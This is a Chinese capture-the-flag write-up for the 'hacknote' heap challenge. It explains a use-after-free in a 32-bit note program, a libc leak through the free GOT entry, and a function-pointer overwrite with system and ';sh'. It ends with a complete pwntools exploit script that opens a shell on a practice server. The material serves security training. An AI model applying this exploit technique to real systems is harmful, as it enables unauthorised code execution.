pwnable_hacknote
惯例先checksec一下
开启了canary和NX保护的32位程序
放进ida里看看
还是老样子很常规的菜单题的格式
1 添加堆
最多添加5个
先申请一个大小为8的chunk,该chunk的地址存放在ptr的下标为i的位置 接着将print_content的函数地址赋值给该chunk
然后在终端输入一个size值 在*(&ptr+i)的后4位上存储新申请的大小为size的chunk的值
2 删除堆
输入想要删除的idx的编号
然后将该chunk和负责print的chunk都free掉 但值得留意的是此处并没有将指针归0 因此存在uaf漏洞
3 打印堆
因为是利用chunk上存储的puts函数来打印 因此我们可以利用uaf漏洞来将函数篡改为system
首先由于是一个uaf漏洞 因此其实很明了了
我们先创建两个长度为0x80的chunk(由于是0x80因此在free掉后会被放到unsorted_bin里)然后我们将这两个chunk free掉(注意 此处先free chunk1再free chunk0虽然实际上没有太大的问题但是为了我们理解方便我们还是让chunk0在fastbin的末尾) 由于delete函数为将指针归零 因此出现了UAF漏洞我们此时再申请一个长度为8的chunk由于fastbin的LIFO原则因此原本chunk1所指的note段成为了新chunk的context段 由于print函数的原理是利用note段上存储的puts函数来打印 因此我们可以将puts函数的参数修改为我们想要他打印的函数地址 比如此处我们选择free函数的地址 然后我们利用free函数的地址来利用LibcSearcher工具寻找libc库
利用已知的libc库我们可以得到system函数的地址 然后利用和上文相同的方法我们将system函数放进note段print函数原本所在的位置 然后再在下一个地址上填入‘sh’,但是由于如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T61eqzgB-1677054515220)(1677053366333.png)]
exp:
from pwn import *
from LibcSearcher import *
#io=process('./stkof')
io=remote('node4.buuoj.cn',25998)
elf=ELF('./hacknote')
free_plt=0x804A018
puts_chunk=0x804862b
def add(size,content):
io.recvuntil('choice :')
io.sendline('1')
io.recvuntil('size :')
io.sendline(str(size))
io.recvuntil('Content :')
io.sendline(content)
def delete(idx):
io.recvuntil('choice :')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(idx))
def show(idx):
io.recvuntil('choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(idx))
add(0x80,'aaaa')
add(0x80,'bbbb')
delete(1)
delete(0)
payload=p32(puts_chunk)+p32(free_plt)
add(8,payload)
show(1)
free_addr=u32(io.recv(4))
libc=LibcSearcher('free',free_addr)
base=free_addr-libc.dump('free')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')
delete(2)
payload=p32(system)+';sh\x00'
add(8,payload)
show(1)
io.interactive()